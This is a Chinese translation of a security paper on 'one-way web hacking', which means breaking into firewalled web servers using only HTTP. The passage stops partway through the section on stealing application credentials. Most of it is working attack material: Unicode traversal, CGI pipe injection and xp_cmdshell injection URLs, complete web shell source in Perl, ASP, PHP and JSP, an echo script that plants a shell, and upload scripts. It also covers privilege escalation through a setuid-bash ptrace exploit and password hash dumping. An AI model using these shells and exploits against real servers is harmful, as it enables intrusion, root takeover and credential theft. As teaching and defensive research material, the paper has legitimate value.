文档标题:单向Web入侵

英文标题:One-way web hacking

原始出处:http://net-square.com/papers/one_way/one_way.html

文档作者:saumil[at]net-square.com

       译:漂浮的尘埃&黯魂

信息来源:脚本安全小组(http://www.cnsst.org

目录 

1.0 简介 

  1.1 普通web应用系统的组成 

  1.2 Web 应用系统的URL映射 

2.0 One-way web hack流程图 

3.0 探测入口点 

  3.0.1 利用URL解析

  3.0.2 利用不合法的输入参数

  3.0.3 利用SQL注入

 3.1 调用命令解释程序

  3.1.1 POSTing命令到CMD.EXE

  3.1.2 POSTing命令到 /bin/sh

  3.1.3 POST过程自动化

4.0 基于命令提示符的web

  4.0.1 Perl - perl_shell.cgi

  4.0.2 ASP - cmdasp.asp

  4.0.3 PHP - sys.php

  4.0.4 JSP - cmdexec.jsp

 4.1 安装基于命令提示符的web

  4.1.1 create_cmdasp.bat

  4.1.2 重新创建任意二进制文件

5.0 文件上传者

  5.0.1 ASP - upload.aspupload.inc

  5.0.2 Perl - upload.cgi

  5.0.3 PHP - upload.php

6.0 One-way提权

  6.1 Windows/IIS提权

    6.1.1 上传Windows攻击工具

    6.1.2  idq.dll 提权

  6.2 Linux/Apache提权

    6.2.1 上传UNIX攻击工具

    6.2.2  ptrace.c提权

7.0 基于SQL 命令提示符的web

  7.1 一个SQL命令提示符的剖析 - sqlquery.asp

  7.2 一个实例 - IISMS SQL Server

  7.3 上传sqlquery.asp

  7.4 窃取web应用程序

  7.5 通过sqlquery.asp执行SQL查询

  7.6 执行存储过程

8.0 结束语

9.0 参考

 

 

1.0 简介

      单向Web入侵是一种完全依赖于HTTP 传输来进行攻击和渗透web 服务器以及应用程序服务器的技术。这种技术被阐明用以论证当提到 web  应用程序攻击时,是否拥有严密的防火墙,或者 SSL  没有本质上的问题。One-way 技术的前提是只允许有效的HTTP 请求进入防火墙,以及有效的HTTP 应答流出防火墙。

      我在 2000 4 月就开始了对 单向Web入侵 的研究,那时我面临需要上传一个任意文件到一台拥有严密防火墙的web 服务器上。从那时起,许多其他技术的发展以及所有这些技术的总结促成了单向Web入侵方法的产生。

1.1 一个普通 web 应用系统的组成 

一个 web 应用系统由四部分组成,即:通常是一个浏览器的 web 客户端,前端 web 服务器,运行大量应用程序的应用程序服务器,数据库服务器。下面的图表显示了这些部分的组成。

 

      web 应用程序服务器支撑所有逻辑应用程序,可能是脚本表单,对象或是已编译的二进制文件。前端的web 服务器作为连接外界的应用程序接口,接收来自web 客户端的通过HTML 表单和HTTP 的输入,以及传递由HTML 页面表单中的应用程序产生的输出。在中心,连接后端数据库服务器的应用程序负责完成处理。

      假定防火墙是一个经过严密配置的,只允许HTTP 请求的进入和HTML 应答的流出。

 

1.2 Web 应用系统的 URL 映射

      当与一个web 应用程序进行交互时,在浏览器和web 服务器之间来回发送的URL 一般具有如下的格式:

      http:// server / path / application ? parameters

      即:http:// 服务器/ 路径/ 应用程序? 参数

下面的图表说明了web 应用系统中各个区域的不同部分的URL 映射:

  防火墙允许HTTPHTTPS协议进入和流出

  服务器和路径部分由前端 web 服务器解析。目前任何 URL 解析上的漏洞(比如 unicode,   double-decode)都能通过篡改 URL 中的

  服务器和路径得以利用。

  应用程序由已配置好的或已注册的应用程序服务器执行。篡改这部分会导致可以利用目前的服务器漏洞。(例如:使用 JSP servlet句柄编译和执行任意文件)

  如果提供给应用程序的参数不合法,将导致应用程序出现特殊的脆弱点。(例如:在Perl 管道中插入“I”字符到open()函数调用中)

  假如一个参数作为一个SQL数据库查询的一部分来使用,不合法的参数可能导致SQL注入攻击。(例如:使用存储过程,像“xp_cmdshell”执行任意命令)

    细节上的讨论可以在“Web Hacking Attacks and Defense [1](第九章参考中的1)”的第五章中找到。

2.0 One-way web hack 流程图 

      考虑这种情况:一个攻击者发现了一个web 应用程序的漏洞,并能够使用前面提到的技术来进行利用。攻击者能够执行任意命令,但是由于严密的防火墙,他无法继续进行更深一层的渗透。为了使攻击有效,需要注意以下两个要点:

      1. 交互式终端访问:执行命令以截获敏感信息或进一步渗透内网。

      2. 文件传输访问:上传入侵工具,像端口扫描器,rootkit 等等。

      一个严密的防火墙可能会使上面的思路很难实现,尽管如此,却也并非不可能。为了绕过这些限制,要用到一点web应用编程知识,我们可以创建一个基于命令提示符的web以及文件上传程序。

      在继续深入之前我们应该先看看one-way web hack的不同阶段,正如下面的图表所示:

 

 

 

3.0  探测入口点

      One-way web hack 从我们能在目标 web 服务器上执行远程命令开始。我们可以使用过去攻击 web 服务器的任何惯用手法。下面将举出一些如先前描述的那样,基于不同类型URL映射来完成远程指令执行的不同方法的例子。关于web服务器和应用程序漏洞的细节探讨超出了这篇文档的范围。

      我们的目标是,通过移动命令解释程序(/bin/sh, cmd.exe 等)到web 服务器文档根目录下的一个区域里来建立一个后门。这样,我们便可以通过URL 来调用命令解释程序。我们举3 个例子来说明怎样用不同的技术建立后门。

下面的图表说明了用来探测入口点的一些惯用技巧。

 

 

3.0.1 利用 URL 解析

        Unicode / Double decode攻击是URL解析漏洞的一个经典例子。下面的URL 复制了命令解释程序cmd.exeweb服务器文档根目录的”scripts/ 目录下:

http://www1.example.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c+copy+c:\winnt\system32\cmd.exe+c:\inetpub\scripts

3.0.2 利用不合法的输入参数

        在这个例子中,一个未经检测的参数通过一个不可靠的open()函数调用,直接从URL传递到了Perl CGI 脚本的news.cgi中:

  http://www2.example.com/cgi-bin/news.cgi?story=101003.txt|cp+/bin/sh+/usr/local/apache/ cgi-bin/sh.cgi|

        shell 程序(/bin/sh)作为sh.cgi 被复制到了cgi-bin  目录下。

3.0.3 利用 SQL 注入

        这里,我们演示了怎样经调用数据库服务器上的存储过程来进行SQL注入,并通过存储过程来执行命令:

http://www3.example.com/product.asp?id=5%01EXEC+master..xp_cmdshell+'copy+c:\winnt\syst em32\cmd.exe+c:\inetpub\scripts\'

 

 

3.1 调用命令解释程序

        我们移动命令解释程序或者shellweb根目录来建立后门的目的是能够通过远程HTTP调用它。HTTPPOST方法用来完成这个再恰当不过了。通过使用 POST,被传递到所调资源的输入数据可以不是标准输入,而 web 服务器通过 HTTP 连接返回的输出仍然是标准输出。

        紧接着我们就用2 个例子说明如何通过POST发送命令给命令解释程序,其中之一针对WindowsNTIIS平台上的CMD.EXE,另一个则针对的是LinuxApache 平台的sh.cgi/bin/sh的副本)。 

 

 

3.1.1 POSTing 命令到 CMD.EXE 

下面的例子显示了CMD.EXE运行的 2 个命令,前提是http://www1.example.com/scripts/cmd.exe 可访问。POST请求已用蓝色字体标出。

$ nc www1.example.com 80
POST /scripts/cmd.exe HTTP/1.0
Host: www1.example.com
Content-length: 17
 
ver
dir c:\
exit
 
HTTP/1.1 200 OK
Server: Microsoft-IIS/4.0
Date: Wed, 08 Dec 1999 06:13:19 GMT
Content-Type: application/octet-stream
Microsoft(R) Windows NT(TM)
(C) Copyright 1985-1996 Microsoft Corp.
 
C:\Inetpub\scripts>ver
 
Windows NT Version 4.0  
 
C:\Inetpub\scripts>dir c:\
 Volume in drive C has no label.
 Volume Serial Number is E43A-2A0A
 
 Directory of c:\
 
10/04/00  05:28a        <DIR>          WINNT
10/04/00  05:31a        <DIR>          Program Files
10/04/00  05:37a        <DIR>          TEMP
10/04/00  07:01a        <DIR>          Inetpub
10/04/00  07:01a        <DIR>          certs
11/28/00  05:12p        <DIR>          software
12/06/00  03:46p        <DIR>          src
12/07/00  12:50p        <DIR>          weblogic
12/07/00  12:53p        <DIR>          weblogic_publish
12/07/99  01:11p        <DIR>          JavaWebServer2.0
12/07/99  06:49p           134,217,728 pagefile.sys
12/07/99  07:24a        <DIR>          urlscan
12/07/99  04:55a        <DIR>          Netscape
              13 File(s)    134,217,728 bytes
                            120,782,848 bytes free
 
C:\Inetpub\scripts>exit
$

 

在上面的例子中有一些要点需要注意:CMD.EXE 必须适当地接收输入,并适当地返回web 服务器的输出,我们在命令最后键入了“exit”,用以确保CMD.EXE 输入流完全终止。因此 POST 请求中的Content-length也被计算出,要特别记住“exit”。

 

3.1.2 POSTing 命令到/bin/sh

        下面的例子显示了/bin/sh运行的 3 个命令,前提是http://www2.example.com/cgi-bin/sh.cgi可访问。POST请求同样已用蓝色字体标注。 
$ nc www2.example.com 80
POST /cgi-bin/sh.cgi HTTP/1.0
Host: www2.example.com
Content-type: text/html
Content-length: 60
 
 
echo 'Content-type: text/html'
echo
uname
id
ls -la /
exit
 
HTTP/1.1 200 OK
Date: Thu, 27 Nov 2003 20:47:20 GMT
Server: Apache/1.3.12
Connection: close
Content-Type: text/html
 
Linux
uid=99(nobody) gid=99(nobody) groups=99(nobody)
total 116
drwxr-xr-x   19 root     root         4096 Feb  2  2002 .
drwxr-xr-x   19 root     root         4096 Feb  2  2002 ..
drwxr-xr-x    2 root     root         4096 Jun 20  2001 bin
drwxr-xr-x    2 root     root         4096 Nov 28 02:01 boot
drwxr-xr-x    6 root     root        36864 Nov 28 02:01 dev
drwxr-xr-x   29 root     root         4096 Nov 28 02:01 etc
drwxr-xr-x    8 root     root         4096 Dec  1  2001 home
drwxr-xr-x    4 root     root         4096 Jun 19  2001 lib
drwxr-xr-x    2 root     root        16384 Jun 19  2001 lost+found
drwxr-xr-x    4 root     root         4096 Jun 19  2001 mnt
drwxr-xr-x    3 root     root         4096 Feb  2  2002 opt
dr-xr-xr-x   37 root     root            0 Nov 28  2003 proc
drwxr-x---    9 root     root         4096 Feb  9  2003 root
drwxr-xr-x    3 root     root         4096 Jun 20  2001 sbin
drwxrwxr-x    2 root     root         4096 Feb  2  2002 src
drwxrwxrwt    7 root     root         4096 Nov 28 02:01 tmp
drwxr-xr-x    4 root     root         4096 Feb  2  2002 u01
drwxr-xr-x   21 root     root         4096 Feb  2  2002 usr
drwxr-xr-x   16 root     root         4096 Jun 19  2001 var
$

 

        需要注意的是Apache中的/bin/sh 略微有些不同,Apache期望得到成型的来自它的所有CGI 程序的HTTP请求头部,因此我们不得不预先考虑输出中的"Content-type: text/html"行。两个“echo”命令正是为了这个目的。

 

3.1.3 自动化 POST 过程

        我们创建了2Perl脚本 post_cmd.pl post_sh.pl,试图通过正确的POST 请求把发送命令到web 服务器的任务自动化。调用 post_cmd.pl 的语法看上去像下面这样:

usage: post_cmd.pl url [proxy:port] < data

By Saumil Shah (c) net-square 2001

post_cmd.pl 以标准输入方式把所有POSTed 的数据发向URL.可以通过键入  ^D (UNIX)

or ^Z (DOS)  结束;也可使用文件或管道重定向数据。

 

        Post_cmd.pl具有能够通过HTTP代理服务器发送POST请求的功能。Post_sh.pl与它类似。

Post_cmd.pl的输出:  
$ ./post_cmd.pl http://www1.example.com/scripts/cmd.exe
ver
dir c:\
^D
HTTP/1.1 200 OK
Server: Microsoft-IIS/4.0
Date: Wed, 08 Dec 1999 06:05:46 GMT
Content-Type: application/octet-stream
Microsoft(R) Windows NT(TM)
(C) Copyright 1985-1996 Microsoft Corp.
 
C:\Inetpub\scripts>ver
 
Windows NT Version 4.0  
 
C:\Inetpub\scripts>dir c:\
 Volume in drive C has no label.
 Volume Serial Number is E43A-2A0A
 
 Directory of c:\
 
10/04/00  05:28a        <DIR>          WINNT
10/04/00  05:31a        <DIR>          Program Files
10/04/00  05:37a        <DIR>          TEMP
10/04/00  07:01a        <DIR>          Inetpub
10/04/00  07:01a        <DIR>          certs
11/28/00  05:12p        <DIR>          software
12/06/00  03:46p        <DIR>          src
12/07/00  12:50p        <DIR>          weblogic
12/07/00  12:53p        <DIR>          weblogic_publish
12/07/99  01:11p        <DIR>          JavaWebServer2.0
12/07/99  06:49p           134,217,728 pagefile.sys
12/07/99  07:24a        <DIR>          urlscan
12/07/99  04:55a        <DIR>          Netscape
              13 File(s)    134,217,728 bytes
                            120,782,848 bytes free
 
C:\Inetpub\scripts>exit
$

 

Post_sh.pl的输出:  
$ ./post_sh.pl http://www2.example.com/cgi-bin/sh.cgi
uname
id
ls -la /
^D
HTTP/1.1 200 OK
Date: Thu, 27 Nov 2003 20:43:54 GMT
Server: Apache/1.3.12
Connection: close
Content-Type: text/html
 
Linux
uid=99(nobody) gid=99(nobody) groups=99(nobody)
total 116
drwxr-xr-x   19 root     root         4096 Feb  2  2002 .
drwxr-xr-x   19 root     root         4096 Feb  2  2002 ..
drwxr-xr-x    2 root     root         4096 Jun 20  2001 bin
drwxr-xr-x    2 root     root         4096 Nov 28 02:01 boot
drwxr-xr-x    6 root     root        36864 Nov 28 02:01 dev
drwxr-xr-x   29 root     root         4096 Nov 28 02:01 etc
drwxr-xr-x    8 root     root         4096 Dec  1  2001 home
drwxr-xr-x    4 root     root         4096 Jun 19  2001 lib
drwxr-xr-x    2 root     root        16384 Jun 19  2001 lost+found
drwxr-xr-x    4 root     root         4096 Jun 19  2001 mnt
drwxr-xr-x    3 root     root         4096 Feb  2  2002 opt
dr-xr-xr-x   37 root     root            0 Nov 28  2003 proc
drwxr-x---    9 root     root         4096 Feb  9  2003 root
drwxr-xr-x    3 root     root         4096 Jun 20  2001 sbin
drwxrwxr-x    2 root     root         4096 Feb  2  2002 src
drwxrwxrwt    7 root     root         4096 Nov 28 02:01 tmp
drwxr-xr-x    4 root     root         4096 Feb  2  2002 u01
drwxr-xr-x   21 root     root         4096 Feb  2  2002 usr
drwxr-xr-x   16 root     root         4096 Jun 19  2001 var
$

    照这样,我们便能使用HTTP POST请求发送多重命令到目标web服务器上。这个概念将被用来在web服务器上创建任意文件,正如即将在4.1节中讨论的一样。 

 

4.0 基于命令提示符的 WEB

    在完成远程命令执行后,我们需要能够交互式的在目标web服务器上执行命令。比较普遍的做法是使其能够产生任一shell,并绑定到目标服务器的一个TCP端口上,或者使shell反向连接到我们监听的TCP端口上。但是,如果有一个严密的防火墙,只允许HTTP请求

进入和HTTP应答流出,那么这个方法也就失效了。这里我们将列举出一些基于命令提示符的web 的例子,以绕过这些限制。

    一个基于命令提示符的web 可以通过一个HTML表单,提供一个半交互式的shell终端的功能。表单以<INPUT>域接收命令,并以预先文本格式显示结果。

    之所以说基于命令提示符的web是半交互式,是因为它们并不保存终端状态,比如当前工作目录,系统环境等等。不过这些可以由基于HTML表单的 session实现,但那已超出了本文的范围。

    基于命令提示符的web执行的命令是以web服务进程的权限执行的,典型的像运行在UNIX系统上的Apacheuid是“nobody”,然而运行在Windows上的IIS,(用户组)权限却是“IUSER_机器名”或“IWAM_机器名”。

    下面给出的是4个基于命令提示符的web的例子:

4.0.1 Perl – perl_shell.cgi

    这个脚本使用Perlcgi-lib.pl提供了一个基于命令提示符的半交互式的web

#!/usr/bin/perl
 
require "cgi-lib.pl";
 
print &PrintHeader;
print "<FORM ACTION=perl_shell.cgi METHOD=GET>\n";
print "<INPUT NAME=cmd TYPE=TEXT>\n";
print "<INPUT TYPE=SUBMIT VALUE=Run>\n";
print "</FORM>\n";
 
&ReadParse(*in);
 
if($in{'cmd'} ne "") {
   print "<PRE>\n$in{'cmd'}\n\n";
   print `/bin/bash -c "$in{'cmd'}"`;
   print "</PRE>\n"; 
}

 

4.0.2 ASP – cmdasp.asp 

    这个ASP脚本是用于运行在Windows服务器上的IIS的一个基于命令提示符的webCmdasp.asp是基于maceo(at)dogmile.com的修改版。

<%
  Dim oScript, oScriptNet, oFileSys, oFile, szCMD, szTempFile
  On Error Resume Next
  Set oScript = Server.CreateObject("WSCRIPT.SHELL")
  Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
  Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")  
  szCMD = Request.Form(".CMD")  
  If (szCMD <> "") Then
    szTempFile = "C:\" & oFileSys.GetTempName( )    
    Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)  
    Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) 
  End If
%>
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=".CMD" size=45 value="<%= szCMD %>">
<input type=submit value="Run">
</FORM>
<PRE>
<% 
  If (IsObject(oFile)) Then
    On Error Resume Next
    Response.Write Server.HTMLEncode(oFile.ReadAll)
    oFile.Close
    Call oFileSys.DeleteFile(szTempFile, True)
  End If
%>
</PRE>

                                                                                                                        

     这个脚本与基于命令提示符的其他ASP脚本的优势在于,执行shell 命令时不需要注册COM组件,并且不需要任何administrator权限。 

4.0.3 PHP – sys.php

    PHP创建一个基于shell web非常简单,下面的脚本用PHP举例说明了一个基于shellweb

<FORM ACTION="sys.php" METHOD=POST>
Command: <INPUT TYPE=TEXT NAME=cmd>
<INPUT TYPE=SUBMIT VALUE="Run">
<FORM>
<PRE>
<?php
   if(isset($cmd)) {
      system($cmd);
   }
?>
<PRE>

4.0.4 JSP – cmdexec.jsp 

    下面的JSP代码是用在支持Java Server PagesJ2EE应用服务器上的一个基于命令提示符的web

<FORM METHOD=GET ACTION='cmdexec.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
 
<%@ page import="java.io.*" %>
<%
   String cmd = request.getParameter("cmd");
   String output = "";
 
   if(cmd != null) {
      String s = null;
      try {
         Process p = Runtime.getRuntime().exec(cmd);
         BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
         while((s = sI.readLine()) != null) {
            output += s;
         }
      }
      catch(IOException e) {
         e.printStackTrace();
      }
   }
%>
 
<pre>
<%=output %>
</pre>

 

    任何允许执行本地OS命令的 web应用编程语言,都能被用来创建一个基于命令提示符的web 

 

 

4.1 安装基于命令提示符的 web

通过远程命令执行,我们能够执行像“echo”这样的命令并把输出重定向到一个文件中。通过多重“echo”命令,我们就可以创建一个文件,每次传送一行到远程web服务器上。这里首要的是在目标web服务器上能有一个可写的目录。

 

4.1.1 create_cmdasp.bat

    下面的命令可以被Windows DOS提示符执行,用以创建4.0.2节中提到的cmdasp.asp 

echo ^<^% > cmdasp.asp
echo Dim oScript, oScriptNet, oFileSys, oFile, szCMD, szTempFile >> cmdasp.asp
echo On Error Resume Next >> cmdasp.asp
echo Set oScript = Server.CreateObject(^"WSCRIPT.SHELL^") >> cmdasp.asp
echo Set oScriptNet = Server.CreateObject(^"WSCRIPT.NETWORK^") >> cmdasp.asp
echo Set oFileSys = Server.CreateObject(^"Scripting.FileSystemObject^")
     >> cmdasp.asp
echo szCMD = Request.Form(^".CMD^") >> cmdasp.asp
echo If (szCMD ^<^> ^"^") Then >> cmdasp.asp
echo szTempFile = ^"C:\^" & oFileSys.GetTempName() >> cmdasp.asp
echo Call oScript.Run(^"cmd.exe /c ^" ^& szCMD ^& ^" ^> ^" ^& szTempFile,0,True)
     >> cmdasp.asp
echo Set oFle = oFileSys.OpenTextFile(szTempFile,1,False,0) >> cmdasp.asp
echo End If >> cmdasp.asp
echo ^%^> >> cmdasp.asp
echo ^<FORM action=^"^<^%= Request.ServerVariables(^"URL^") ^%^>^" method=^"POST^"^>
     >> cmdasp.asp
echo ^<input type=text name=^".CMD^" size=70 value=^"^<^%= szCMD ^%^>^"^> >> cmdasp.asp
echo ^<input type=submit value=^"Run^"^> >> cmdasp.asp
echo ^</FORM^> >> cmdasp.asp
echo ^<PRE^> >> cmdasp.asp
echo ^<^% >> cmdasp.asp
echo  If (IsObject(oFile)) Then >> cmdasp.asp
echo On Error Resume Next >> cmdasp.asp
echo Response.Write Server.HTMLEncode(oFile.ReadAll) >> cmdasp.asp
echo oFile.Close >> cmdasp.asp
echo Call oFileSys.DeleteFile(szTempFile, True) >> cmdasp.asp
echo End If >> cmdasp.asp
echo ^%^> >> cmdasp.asp
echo ^<^/PRE^> >> cmdasp.asp

    使用echo这样的命令可以在服务器上创建任意文本文件,但像&, ", <, >, |, %等特殊字符应该在其前面加上转义字符。在大多数UNIX shell上转义字符是”\”,而在Windows命令提示符下转义字符为“^.

    在目标web服务器上一样能创建基于命令提示符的其他web. 

4.1.2 重新创建任意二进制文件

    UNIX shell 中也可以通过“\xHH”格式使用”echo”命令写任意字符到一个文件中,“\xHH”代表的是十六进制值。二进制文件中的一个字符串可以用一连串的十六进制值来表示:

    echo -e "\x0B\xAD\xC0\xDE\x0B\xAD\xC0\xDE\x0B\xAD\xC0\xDE" > file

即使CMD.EXE 不能写任意字符,我们仍然可以在Windows 上创建任意二进制文件。窍门是使用scripted或非交互式模式的DEBUG.EXE.

 

 

5.0 文件上传者 

    除了能够在目标web服务器上执行命令之外,攻击者还对上传文件到服务器上感兴趣。通常的方法有FTP,NFS,NETBIOS等,但如果防火墙阻止了所有这些,它们就都将无能为力。要绕过这个限制,我们需要创建一个文件上传者。4.1.2节中提到的方法在上传大一点的文件时可能会很慢,很痛苦。不过,我们有更好的选择。 

    可以使用HTTP POST Multipart-MIME方法来上传文件,发送到服务器上的文件内容是一个HTTP POST请求。在服务器上,一个上传脚本接收到这些内容后便把它们保存为一个文件。HTTP Multipart-MIME POST请求的细节讨论超出了这篇文档的范围,故不详细描述。

    为了完成文件上传,我们需要一个web服务器进程(nobody, IUSR_机器名, IWAM_机器名,.)有权限创建和写文件的目录。

下面给出了3 个上传脚本的例子:

 

5.0.1 ASP upload.asp upload.inc  

    如下2个文件包含的代码能够接收HTTP POST Multipart-MIME数据,并把它保存到一个文件中。ASP并不能解析HTTP POST Multipart-MIME加密的数据,因此附加文件upload.inc包含了必需的代码。

    Upload.asp  
<form method=post ENCTYPE="multipart/form-data">
<input type=file name="File1">
<input type="submit" Name="Action" value="Upload">
</form>
<hr>  
<!--#INCLUDE FILE="upload.inc"-->
<%
If Request.ServerVariables("REQUEST_METHOD") = "POST" Then 
   Set Fields = GetUpload()
   If Fields("File1").FileName <> "" Then  
      Fields("File1").Value.SaveAs Server.MapPath(".") & "\" & Fields("File1").FileName
      Response.Write("<LI>Upload:  " & Fields("File1").FileName)  
   End If
End If
%>  

 

    关联文件upload.inc的源代码可以在这里找到: 

http://net-square.com/papers/one_way/source_code.html#uploadinc

5.0.2 Perl – upload.cgi 

    通过使用Perl cgilib.plhttp://net-square.com/papers/one_way/source_code.html#cgilib)可以很容易创建一个上传脚本。正如下面的例子: 

#!/usr/bin/perl
 
require "cgi-lib.pl";
 
print &PrintHeader;
print "<form method='POST' enctype='multipart/form-data' action='upload.cgi'>\n";
print "File path: <input type=file name=upfile>\n";
print "<input type=submit value=upload></form>\n";
&ReadParse;

 

5.0.3 PHP – upload.php 

    使用PHP创建一个上传者也很简单:  
<FORM ENCTYPE="multipart/form-data" ACTION="upload.php" METHOD=POST>
<INPUT TYPE="hidden" name="MAX_FILE_SIZE" value="10000000">
<input type="File" name="userfile" size="30">
<INPUT TYPE="submit" VALUE="upload">
</FORM>
 
<?php
   if($userfile_name != "") {
      copy("$userfile", "./$userfile_name") or die("Couldnt copy file");
      echo "File name: $userfile_name<br>\n";
      echo "File size: $userfile_size bytes<br>\n";
      echo "File type: $userfile_type<br>\n";
   }
?>

 

    一旦通过HTTP 即可以执行命令,又能上传文件,我们便可以让目标服务器完成我们喜欢做的任何事情。一般的可能有:

      搜寻web服务器上的源代码和配置文件。 

      探测目标web 服务器所依赖的内网(如果有的话)。

      上传攻击工具并执行它们。

      ……以及更多 

    既然我们被web服务进程的权限所限制,那么很明显,下一步就是尝试提权。 

 

6.0 单向提权 

    第四章讨论的基于命令提示符的web继承了他们所运行的进程的权限。通常,这些权限被受限为user级别,除非web服务进程以更高的权限运行。一些连接前端web服务器的应用程序服务器就是以更高的权限运行着的。为了进行更深层次的攻击,大多数情况下,我们都需要在安装基于命令提示符的webHTTP文件上传者之后进行某种提权。

    提权的方法并不唯一,有许多适用于不同操作系统的exploits可以使权限提升到任一超级用户(super user)或更高特权的用户。大部分提权攻击都能用单向攻击技术来完成。 

    提权攻击的细节讨论不在这篇文档的范围之内。我们将探讨提权攻击的2个例子,WindowsIIS 平台的“Microsoft IIS 5.0进程表提权漏洞[5]”,以及Linux Apache平台的“Linux Ptrace/Setuid Exec漏洞[6]”。

    必须注意提权用的exploit 是以非交互式运行的,它不需要一个交互式的shell,或交互式的终端,或GUI控制台等等。针对这个例子,我们不得不修改Linux ptrace exploit以适应单向使用。 

6.1 Windows/IIS 提权 

    让我们看看这个运行在搭建好IIS5.0Windows 2000服务器上的例子www1.example.com,我们假定它已经被搞定,并且5.0.1 节中展示给大家的那个文件上传脚本upload.asp已经躺在了服务器上。 

6.1.1 上传 Windows 攻击工具

    我们先上传4.0.2节中描述的那个基于命令提示符的webcmdasp.asp以及两个二进制文件idq.dll pwdump.exeidq.dll是利用Microsoft IIS 5.0进程表提权漏洞来进行提权的exploit,它可以添加IUSR_机器名和IWAM_机器名帐户到administrators组,因此赋予了在IIS进程中运行的所有进程和应用程序的管理员权限,包括基于命令提示符的web.Pwdump.exe用来保存密码哈希值,并且它需要管理员权限来运行。 

    下面的屏幕截图显示了上传到www1.example.com上的3个二进制文件: 

 

 

    我们可以通过cmdasp.asp以及执行dir命令来检测文件是否被成功上传: 

 

 

     我们将通过执行命令“net localgroup administrators”来显示administrators组成员: 

 

 

     只有administrators组成员才是管理员用户。 

6.1.2 idq.dll 提权

    下一步是尝试调用idq.dll 来提升帐户IUSER_机器名和IWAM_机器名的权限,过程非常简单,用下面的URL访问web服务器: 

 

    结果没有回显,取而代之的是在一段时间后显示连接超时。不过,这象征攻击极有可能成功了:) 

    为了验证攻击确实成功,我们将再次查看administrators组成员用户: 

 

 

    IUSR_W2KVM IWAM_W2KVM帐户现在已经是administrators组成员了:)  因此可以假定所有经cmdasp.asp执行的命令都是管理员权限,我们通过运行pwdump.exe来验证: 

 

    现在我们便能够完全操控www1.example.com站点了 ^_^ 

6.2 Linux/Apache 提权 

对于这个例子,我们用www2.example.com作为示例站点,它运行在基于2.4内核及Apache 1.3.27Linux服务器上。我们同样假定这个站点也已经被拿下,文件上传脚本upload.cgi5.0.2节中提到的)已在服务器上。

 

6.2.1 上传 Unix 攻击工具

    针对这台服务器,我们将上传基于命令提示符的webshell.cgi4.0.1节中提到的)以及另一个文件ptrace1.c. Ptrace1.c是利用Linux Ptrace/Setuid Exec漏洞进行提权的exploit.不过这个exploit做了细微的修改,以适应单向使用。只要它被成功运行,便会申请只有root用户才能拥有的/bin/bashsetuid许可。这将导致所有通过/bin/bash执行的shell命令以super-user特权运行。 

    基于命令提示符的webshell.cgi会在内部调用/bin/bash,所以所有经shell.cgi执行的命令都以root用户权限运行。

    修改后的ptrace exploit的源代码可以在这里找到:http://net-square.com/papers/one_way/source_code.html#ptrace

    下面的屏幕截图显示了上传到www2.example.com上的2个文件: 

 

 

    接着我们将编译ptrace1.c 并检测它到底是否被正确地编译过了。同时我们还要检查当前权限,下面的截图显示了我们通过shell.cgi行的命令: 

gcc -o ptrace1 ptrace1.c
ls -la
id

 

 

Shell.cgi的扩展权限是那些“nobody”用户。 

 

 

 

 

 

6.2.2 ptrace1.c 提权 

    下一步是尝试执行ptrace1,以查看我们是否能够申请到/bin/bashsetuid许可。Exploit ptrace1.c http://net-square.com/papers/one_way/source_code.html#ptrace)在其内部执行如下的命令: 

  /bin/chmod 4755 /bin/bash 

    下面的截图显示了正被执行的ptrace1/bin/bash的文件列表: 

    毫无疑问,/bin/bash有了setuid许可。 

下面的截图显示了正被执行的2个命令: 

id
cat /etc/shadow

 

    要注意:shell.cgi进程的有效uid(euid)0,也就是root用户。我们能浏览/etc/shadow文件内容的事实证明权限已经得到了提升 :)

    那么我们现在已经有了www2.example.com的完全控制权了。 

 

 

7.0 基于 SQL 命令提示符的 web 

    单向入侵可以扩展到通过HTTP进行文件传输和远程命令执行的其他区域。应用程序中最重要的组件之一便是数据库。这一章我们将通过创建我们称作基于SQL命令提示符的web,来演示如何把单向 hacking的概念拓展到交互式控制数据库服务器上。

    基于SQL命令提示符的web允许用户经过一个HTML接口连接到一台数据库服务器,并能通过HTML表单在后端数据库中执行SQL查询。同时,它使用与其他web应用程序使用的数据库驱动一样的技术。Web编程语言,像PHPASP都能提供连接后端数据库的功能。

    大部分时候,一旦一台web 服务器被入侵,攻击者一般都会查看上面的源代码和应用程序配置文件,来找出数据库的位置,并能被信任地访问它。当使用基于SQL命令提示符的web来攻击数据库时,这些知识会被用到。

 

7.1 一个 SQL 命令提示符的剖析 sqlquery.asp 

    下面的截图显示的是使用ASP创建的基于SQL命令提示符的web的例子: 

 

    在这个表单中有5个关键输入区域: 

    Server Name:数据库服务器的主机名或IP 地址。大多数情况下,数据库服务器都与web服务器完全不同。

    Database Name:数据库服务器上的数据库名。

    User Name:当激活数据库连接时被信任使用的数据库用户。

    Password:数据库用户的密码。通常情况下,都能通过被入侵的web 服务器上的应用程序源代码和配置文件发现。

    Query String:被发送到数据库并执行的SQL查询。

其他2个参数DriverConnection String 用来为数据库选择合适的驱动及路径。Connection String(连接字符串)是一个可选参数。在sqlquery.asp中,我们有4个驱动连接选项,通过ODBCMicrosoft SQL Server,Oracle,MySQL以及Foxpro.更多的驱动可以很容易的添加。 

Sqlquery.asp的源代码在这里:

http://net-square.com/papers/one_way/source_code.html#sqlquery.

并且通过诸如PHP,Perl,JSP等语言都能创建这样基于SQL命令提示符的web. 

 

7.2 一个实例 IIS MS SQL Server

    我们现在就来模拟如何使用sqlquery.asphacking放在一个内部网络中的数据库服务器的。下面的图表显示了web服务器上应用程序的布局,www1.example.com以及数据库服务器10.0.1.2

我们假定www1.example.com已被入侵,且文件上传页面upload.asp和基于命令提示符的web:cmdasp.asp都在服务器上。我们先不考虑提权。

 

    我们将上传sqlquery.aspwww1.example.com上,并使用它来攻击IP 10.0.1.2的数据库服务器。 

7.3 上传 sqlquery.asp

    下面的截图显示了正通过upload.asp进行上传的sqlquery.asp 

 

 

7.4 窃取 web 应用程序 

    在能连接到后端数据库之前,我们需要知道怎样激活到数据库的连接,以及使用什么样的信任。在查看www1.example.com主机上的web应用程序源代码时,如下行被发现:  
Set Con = Server.CreateObject("ADODB.Connection")
